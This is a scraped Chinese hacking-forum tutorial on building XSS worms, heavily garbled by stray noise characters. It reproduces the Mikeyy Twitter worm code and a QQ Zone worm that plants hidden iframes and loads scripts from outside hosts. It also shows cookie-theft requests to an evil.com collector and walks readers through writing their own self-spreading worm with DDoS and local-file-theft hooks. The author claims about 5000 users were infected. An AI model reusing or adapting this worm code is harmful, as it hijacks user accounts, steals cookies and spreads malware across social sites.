  K2 c+ B9 G" Z2 uRewriteRule .* - [F]
5 ^/ d1 s" ^0 L5 k+ k1 K+ A7 z
" z+ j; n8 x# _
( n! R: S: p$ q0 |
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
* Z8 `9 @4 e8 U2 O. ~5 ]% l" p2 Q2 R. d
...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- c8 F- W' ~+ f  r2 q! Q1 R4 Q% t
XmlHttp.open("GET","http://www.google.com",false);

) Z4 [  r  }+ O9 |1 x7 XXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( @0 `5 x. v: G+ R2 u  U
$ Q& @  _* W! V. l+ g- yXmlHttp.send(null);

</script>
" Z1 D* g& H# h8 \1 _8 h- A复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
- D1 }9 V* r6 a$ P* G! ^
6 _( d4 I3 q: x4 Z- Ivar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

3 U! X3 I# A) H4 f
' |; B  L  o/ E; W! a
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

' Q( ?- E* P+ L7 S: xXmlHttp.send(null);

8 ?7 q4 z$ l1 t* A- C1 L. f<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
2 f; P: }& t+ W& ]- e  P: F' l复制代码案例:Twitter 蠕蟲五度發威
第一版:
) q  U9 o. e- N$ s. p) f  下载 (5.1 KB)
% Z# ~7 f( w3 P; z6 y3 Z, L
! [/ \  R* T$ _! B: E6 天前 08:27
$ E  ]' R- O4 O* ?
6 g6 ^0 @, y1 j% v  w  l第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
- ?& G& v4 I; L3 T
   2.   
! V5 L4 A2 X+ \# O3 b7 v! E
: z* I2 W% [: a/ ^$ n   3. function XHConn(){  
3 @( W/ b- D% x. X9 q, }/ e$ J
- U' n2 D4 Q1 g0 C. S- Q   4.   var _0x6687x2,_0x6687x3=false;  
- x7 _* d7 O3 E% l, z/ @2 l
5 d5 O+ j9 N# z   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
1 ], b2 y' X1 E0 E6 i  }: M! s: B
# Y) F$ ?7 m& c, L   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

. I6 ^; D7 K* x5 ]9 u/ _, Z   2.   var content = document.documentElement.innerHTML;  
# c( \! e& v5 u4 Q6 b9 U: w
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
& \0 H4 k  q  p: m
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
2 w, L; |+ f* |; g( G
- N& ]+ Z1 a0 _* m1 A! I   6.   var authtoken=authreg.exec(content);  
( y. D# _$ e) S+ ]. l# s" k- m
   7.   var authtoken=authtoken[1];  
) c. h% I/ r, k6 r3 H& ~  L
1 Q$ v% r: G' E( W, z* x   8.   var randomUpdate= new Array();  
6 y+ B% ~6 K; r+ g; ]3 L
+ v, w) N5 [4 b5 L9 _   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

- W: a3 B# a4 {" }1 ~  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

, J% J5 z: B: u. Y% R/ U  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

6 h+ J3 t5 S2 E3 H  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

- O( q1 s4 h% {) z& N$ K9 ?  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
2 V% S# g' G8 g% A, M& Z
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
0 Y  d6 i$ y5 S! |4 k+ C
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
6 Q! |0 F8 L9 e1 u+ k: ^0 {
5 w# d# T6 S& f2 M! y0 m+ d7 O  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
4 b4 U( }& A% v/ h4 s
* p9 X) V; E7 ^. v+ L  c  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

3 }( p, L/ ^9 Y8 l/ ]/ |  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
- |. k4 q; N) W& a  N0 d
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
$ C# C! o3 `8 l- G7 A4 Y4 n
4 x$ t( v/ O( A: H1 \  27.     
" a. h1 w3 S! e- [7 E7 C& q
  28.   var ajaxConn= new XHConn();  
# b6 G9 c: g" ^
# F+ u# f3 s- [$ ?  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
, s% r1 o$ a% v& g7 `; p9 h( p
3 x' N$ n. X8 y2 V# Y% S% j  30.   var _0xf81bx1c="Mikeyy";  
3 F" P( x9 t# @
4 N- j7 I( r" }; B  31.   var updateEncode=urlencode(_0xf81bx1c);  
9 V( a: l, u( p% A) Q& S- I
/ [% x" P* O0 `3 E* [, g  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
8 C  `! \' p. u- {+ d  I
; N5 P6 U+ N& d  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

' V; n4 e" i  i+ H2 c& S  35.   var XSS=urlencode(genXSS);  
  x" a# @; {7 T% e! N
  36.   var ajaxConn2= new XHConn();  
4 U. F1 n; |) N- o! x
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
* X3 L, J0 \) D4 S, Q
  38.     
+ A5 e6 `4 @; v% o1 `( F7 A: k
- q1 Y3 H: J: L$ b/ x( ]" q0 K( e, X  39. } ;  
  w# ?7 {# e7 h' O5 E' X& n
  40. setTimeout(wait(),5250);  
" q" C( C4 q& `" P" d) l5 T& }2 T复制代码QQ空间XSSfunction killErrors() {return true;}

- F; |; d( R% e1 ^5 p7 {1 H% ?window.onerror=killErrors;

0 A3 M& a6 Q5 [. y# J5 S7 @
+ ]2 g1 B* F- s$ J3 ?" C3 @; [
3 v& ?4 Y/ L3 h. s% |var shendu;shendu=4;
  x; G2 c  V* n& p0 }) O
$ h: A, R" s( Z8 d9 h//---------------global---v------------------------------------------

2 J9 f. q9 @; C& O4 Z( J. i//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
! G- A$ A* J  L! k
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ [2 F9 L) {. f. m- P4 r
var myblogurl=new Array();var myblogid=new Array();

$ J0 ^0 P$ i, u        var gurl=document.location.href;
! ~+ u8 g8 \4 m# ^$ O
        var gurle=gurl.indexOf("com/");

( e# o" O; r. ?" j! ?+ K. F" z        gurl=gurl.substring(0,gurle+3);        
% p+ }* H% D" R9 k# ~4 m3 o: T( U
) `: k# a, i3 U$ S. Z* @1 @" S, y        var visitorID=top.document.documentElement.outerHTML;
+ c2 J* a' |6 k3 d+ }2 h
8 O* {* t+ S$ s, Q1 B: v           var cookieS=visitorID.indexOf("g_iLoginUin = ");
. z. m, X* k% {1 N( d  p7 E8 z
2 c. _# R4 \7 A        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

1 _; n+ b" T, m. g  K5 z        visitorID=visitorID.substring(0,cookieS);
; Z6 V% O) Z* ~  o
        get_my_blog(visitorID);

) W1 \2 V+ H; O- G        DOshuamy();


1 v. \) t) }4 O5 M9 x
//挂马
7 a1 v. K# v4 q* r. X. _
function DOshuamy(){

/ [. c- J0 C7 q0 P) d8 mvar ssr=document.getElementById("veryTitle");
9 ~( `5 M+ o6 c- v, ~, ~
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

# K, G; D0 `' o% [* B# X+ H}
. q2 d& M! q' r6 m
; Y( M9 ]6 b2 s4 Q% E' j

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
1 A, n+ ]# Z4 c0 N
2 a, c8 @5 K! e9 M   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
5 ^  ]1 ~- R6 _1 `* h# @
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
6 c! ~/ a4 q; u3 T" |
( M  U8 Y3 H  G1 `& O9 F) L; b     xhr.send();guest=xhr.responseText;
; k5 o- Y) g) b
% V# l5 o  m6 [  ?& u- g- U     get_my_blogurl(guest);    //执行这个函数

' P6 J7 F# Q$ Q8 f- q3 J    }
$ `+ Q6 D& H( y. J/ Y
}
0 G9 m! _3 a/ x! E
4 i% x7 h" P/ o3 b

//这里似乎是判断没有登录的
! E, u# v7 C" ~9 b
function get_my_blogurl(guest){
0 V9 G8 E5 `, J0 M
  var mybloglist=guest;
0 c7 u: i. j1 r- w
  var myurls;var blogids;var blogide;
6 f9 P1 e* g- J
0 v$ ]9 T; H- Y% o  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

! o* z7 Z) k' m- `     if(myurls!=-1){    //找到了就执行下面的

& t# ~  f; Q* A, Q" y6 P# c- J0 J4 X         mybloglist=mybloglist.substring(myurls+11);
! B" y2 T$ }$ D2 s
* \, d0 O1 n- U9 r8 t9 H. \9 `& m         myurls=mybloglist.indexOf(')');

* j4 r0 D6 C% V- b         myblogid=mybloglist.substring(0,myurls);

, e% }8 {2 M) ?5 }        }else{break;}

}

get_my_testself();    //执行这个函数
" [7 I- B$ m; o+ e2 Z
}


( p! ?! H8 f" K# E. L
//这里往哪跳就不知道了

' P9 m: V: a. J. o; pfunction get_my_testself(){
% S: t( M/ l. N
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
4 Y5 w  @2 @! J" ]8 B" H4 l3 v7 m) w
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
' ~* ~. f& s. J: d6 a6 @" Q2 L
( m' f1 \9 B+ U      if(xhr2){        //如果成功

( P& \. Y7 j7 R" t  F              xhr2.open("GET",url,false);     //打开上面的那个url

' u$ Y: N% u5 Y& o* l2 G$ Y6 q* _              xhr2.send();
  J0 R3 e: y: M& x# J/ ], f
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
4 s9 v* D# N! r0 W
8 B0 x7 l! z1 w. y  {2 U0 R0 c: G              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

+ @3 H! i! P2 I; D  [; U8 {2 ?              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

$ [$ l/ q3 i  {) C# e                targetblogurlid=myblogid;   

" R; Z. t/ Y9 ?# Q) C                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
3 h+ T4 {. V% c# Z
7 ^: D* E) J" v& F                break;

               }

              if(mycheckit=="-1"){
5 E! f4 u3 k( S# h5 \; \: w! W$ X
) b; t( }3 t; i" `4 H" r                targetblogurlid=myblogid;
% q8 K2 [) b: z4 L, F2 h
4 l# ~; ?  D' S. m                add_js(visitorID,targetblogurlid,gurl);    //执行它

7 O4 O: c8 i' m. K0 o                break;

               }

# P: ^6 J" Z! [7 N        }      

( T0 k/ y0 l; N$ ?$ V* z}

2 n- o; V1 n0 l7 d- Z  \}



7 T/ S3 a: g% j! e//--------------------------------------  
1 e' o4 K/ f5 w3 b
//根据浏览器创建一个XMLHttpRequest对象
7 S7 i$ \9 t0 w; S, W0 S
, q8 p7 u2 b0 J: c: }function createXMLHttpRequest(){

    var XMLhttpObject=null;  

+ i+ d& ^" n' R1 e" t& p7 l    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

$ w" J5 F, p3 `6 `' T  c    else  
1 W4 N4 _$ E  a% d
! J0 o. j% h8 h( Y- c      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  

        {  
6 {) I; G$ Q* f
2 p3 `- e7 c) u" R            try  
' s) J& P$ u5 }) m( j% c/ a4 p
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  

' }) A7 w2 t% \# g9 b            }  

            catch (ex) {  

. E7 Z# N$ o- U- ^+ K            }  

" @( \4 M$ Z; p+ F+ |9 I5 s         }  

* M# e0 i5 J* D1 t% ?! s# X      }

; h. A, ?# S3 p/ Q  Xreturn XMLhttpObject;
& A% r" q' l3 Q3 E5 D9 ]- z
}  



  y, d+ b; R( a3 D1 ]- k/ H//这里就是感染部分了

; H* v& c; ^! S4 c# l& \function add_js(visitorID,targetblogurlid,gurl){

# i. p3 Y# O+ b& n$ v5 e4 p6 Svar s2=document.createElement('script');

% }4 v3 J7 e8 Es2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
: S) R  v% p# d: ]7 N$ a) P
document.getElementsByTagName('head').item(0).appendChild(s2);

}

( d8 @- A$ r0 L: M6 M( x

function add_jsdel(visitorID,targetblogurlid,gurl){
2 Y$ m* k( u! F7 w
var s2=document.createElement('script');

8 G) C, y$ T; c/ i' Y* H8 o( l- gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
: Y+ ]4 {# @6 H- ~' Z1 Q- e
0 Q) @, j7 |4 X$ J4 }}
+ I, C2 R3 e/ L( t( h, o- \8 r! q复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% q' b0 O( U$ X. I1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 b" w  y, f1 l0 `
$ g+ b: t( d0 \2 E4 V综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

( [9 @# G3 H* O5 b
  K$ A! d' n4 c* R  a下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
# R: Z9 k9 N; H8 S; x* o. |
8 G& K/ x% i1 E8 {4 T  s* p7 g6 E' x首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

" A$ L  s+ ~( R+ N$ r$ drequest = new XMLHttpRequest();
+ R' x3 B# l3 V& P9 o# S6 {
if(request.overrideMimeType) {
, `0 f/ {/ {* A' \6 _+ F, Z
request.overrideMimeType('text/xml');

9 T3 ^7 s4 {1 e2 s$ k}

} else if(window.ActiveXObject) {

& P# l5 `5 N0 o9 C: v* G8 Mvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
2 u6 ]$ ]. f4 h
try {

request = new ActiveXObject(versions);
6 c2 r2 C: r  M/ h6 A& ]! ?3 J5 d! ~
1 T7 |! S9 Y: Y" E# ]} catch(e) {}
# U' B% ]$ j( t0 g% b# J" [; l. T( d
* C" i) u( g/ x; q4 d% T! M}
, t, c3 \# W. _3 n. T) W
, `: w6 z& c/ D3 t, n$ a' {1 U}
4 G% Y  p4 {5 N) u  p9 f& s
xmlHttpReq=request;
: l5 v* h% I1 \! O复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
  [1 m9 c' D) @1 f
        var Browser_Name=navigator.appName;

2 f% s* ]& h( P: `        var Browser_Version=parseFloat(navigator.appVersion);
3 ~; P+ H: Z3 ^+ |& Y4 |1 A
! E2 v2 b* `; F$ [        var Browser_Agent=navigator.userAgent;

+ X( M* R+ ?, u) d" O! J0 y7 f        

: F0 N  R; J# W; T/ L/ D! g        var Actual_Version,Actual_Name;
& [' y( ?; [" D# D8 o$ E+ s  z% q. o
* s; n% G% M2 z  T        
( |; O5 v. v* O# n! k% H
' T6 j( b" H5 p        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

) U/ D3 m6 i' w" L        var is_NN=(Browser_Name=="Netscape");
% E/ @: H8 B5 _5 R
        var is_Ch=(Browser_Name=="Chrome");

        
/ D( z- m4 O6 k
        if(is_NN){
, o3 ?8 a* Z" C$ f5 C
$ p# _$ M- {4 F) b            if(Browser_Version>=5.0){
3 s  ?# T, m1 f2 p
                var Split_Sign=Browser_Agent.lastIndexOf("/");

1 _! B; J$ l& D4 r% f6 Q9 k4 j                var Version=Browser_Agent.indexOf(" ",Split_Sign);
* f! x, o0 o5 t3 |9 R# C8 ~  X
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

: y7 A; c3 O. w+ {. C
0 G6 i5 c9 H# C+ Z' W& B. [, ]
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
) F! Z2 y3 ?# w
9 A- E& o9 W7 L' h                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
; a4 Y, `. u$ k( P
            }
: m/ z- U  x( M3 f- m- H( D  `0 s
% F, W5 W- W+ P' _! ?            else{

                Actual_Version=Browser_Version;

3 X9 [) y$ O' p/ w  B7 ]# K" x                Actual_Name=Browser_Name;
8 G8 v/ l0 p; K# S! {  @. ?/ W# m
            }

9 c( d: z* K1 [" z7 x* a        }
, d* @" T  }2 d- X& l. B' \7 h: K
$ ^$ C" O, e& c: Z1 g: V+ u6 R        else if(is_IE){
3 T/ Z& N( ]' h7 u
: R* ^. e" o/ ~# ]$ O2 ]            var Version_Start=Browser_Agent.indexOf("MSIE");

8 b1 C  e& m+ `$ F# u5 s- J            var Version_End=Browser_Agent.indexOf(";",Version_Start);
- h0 X4 v5 E6 E' d
) n- A3 Y6 b( B1 k; e. a0 ~1 E            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

5 Y: Z- v: G2 l& s            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
5 c' U2 S# z. H7 N$ w7 {
7 t/ _' q. {4 B3 [                Actual_Name+="(Maxthon)";

            }
$ b* |' h$ D: Y4 B
  U. s4 d$ q9 a- x% |            else if(Browser_Agent.indexOf("Opera")!=-1){
& y+ T4 Z7 i& k4 E6 [
( g- f' n/ x  a( o+ l                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

8 O& t% L5 {9 M, O$ ^, e6 }' d                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 S% _8 w, H8 m7 ]$ g8 j
            }
4 t3 A+ I  V/ b/ c$ U
        }

        else if(is_Ch){
3 ?$ f* x' k, j  M. x
            var Version_Start=Browser_Agent.indexOf("Chrome");
  `$ D  L8 |* q# a
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
# F1 V/ \3 ^; z& h9 \  a
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ A/ q4 o1 `: o; p, n7 l$ C
            Actual_Name=Browser_Name;

            
1 U+ V# V5 V$ u/ O- x- D8 R  y9 V
            if(Browser_Agent.indexOf("Maxthon")!=-1){
* X+ M  K2 B+ F* |# E5 i
                Actual_Name+="(Maxthon)";
7 O0 @$ f8 u" W  \
& [7 \3 r8 C. H$ K, ^            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

: n6 V" y% _0 Q2 }# q. [                Actual_Name="Opera";
4 G# l2 ]* p1 ?$ p8 r
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
% B* f& m8 k1 n8 F
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
" k' u% S2 |5 `& I, S4 S/ x
            }

) n" @; `1 [1 _. ?8 i        }
% d; k/ x; N! \* w/ F# D# e
        else{

' T# u( v6 M' e/ ?% D$ ?0 u( M9 X            Actual_Name="Unknown Navigator"
( A7 c- w+ w; U, Q- t2 d# F
+ l  C/ ?9 ^2 k7 _            Actual_Version="Unknown Version"
8 @& m3 M6 Y* e) E
        }


" C% j5 t! Q9 ]2 B. T# F8 Z
9 W) R+ E0 f( i        navigator.Actual_Name=Actual_Name;
+ U! g0 h7 Q. Z+ b
/ l, X% T9 t9 O$ P        navigator.Actual_Version=Actual_Version;

        
+ q0 x0 p' w; c5 y- X. _. p
        this.Name=Actual_Name;
* R6 F2 F0 y% F  G8 R' B  [
  o% l' w2 K( j, `. l        this.Version=Actual_Version;

    }
0 d* L8 y) e3 E
8 S+ A( q" `8 A. z, i9 N    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
( I4 b: [0 r, X# [
: ]9 c. d; F, t+ n    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

- w+ F3 @( X+ _' j0 Q- Q$ M    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

; x: t7 a- C  }. V, R    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
1 v% e# G( {3 ]% D$ z4 R复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
1 J' j. k2 W/ m3 D3 }复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
% B! s+ D6 C% D; i; }复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
% e: t7 z6 |4 I  [
# M) f  t* S7 u! m3 i4 |/ FxmlHttpReq.send(null);
: v  o$ B; h5 w( m/ x
# c! y. ]- E) w$ o( Uvar resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
6 N# n; w' k+ a! i& h9 X3 H- T
id++;

}
2 r% W, o3 T& A复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
$ c0 A% Z9 c) M, Z1 O" |/ [7 g/ r
- X! I5 S' H2 m; x, y0 @& y& G& m: K+ Yno=resource.search(/my name is/);
7 }% C9 m/ m  D6 l
0 a, u" M3 @7 A0 O9 F, {- ~var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
% S. Z9 F$ b* t4 a
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
% C* t! L- ^% [/ ~* w8 o% C
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

; M7 N1 _* P/ v0 c+ X% axmlHttpReq.setRequestHeader("content-length",post.length);
. a# D' P8 N# y" E) E$ B$ E
! g+ ?8 `! d1 z, {2 v, mxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

5 u! Y. U" @) d% Y% ?* L- r2 a0 wxmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

5 R! v" h9 ?* ^  s+ v9 W( d9 ovar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
* a8 o1 d' l3 |8 \' t# ~* R
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
4 I# d& C; M/ ?- r, [3 H
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
6 Y( X9 h% o: h
var post="wd="+wd;
- F& ^; m' L) D) O- F8 R
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
. W# l, t& R. O* _) ?, y, E
" n8 H7 G: X! x. O/ c5 l7 r' f" ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ V& t3 _' O2 ?( S
xmlHttpReq.setRequestHeader("content-length",post.length);

" q+ L# E5 x4 B4 |xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
  V+ |) w3 x/ c复制代码-----------------------------------------------------总结-------------------------------------------------------------------

9 A! }' i! r7 L6 g! s  a0 m9 }
2 s6 d8 P0 N& j4 {2 ~4 U
4 e/ l. W4 J6 U7 _+ W* O3 h* z1 V9 P本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
. M1 z0 i* o& ~5 x. o  n8 a蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
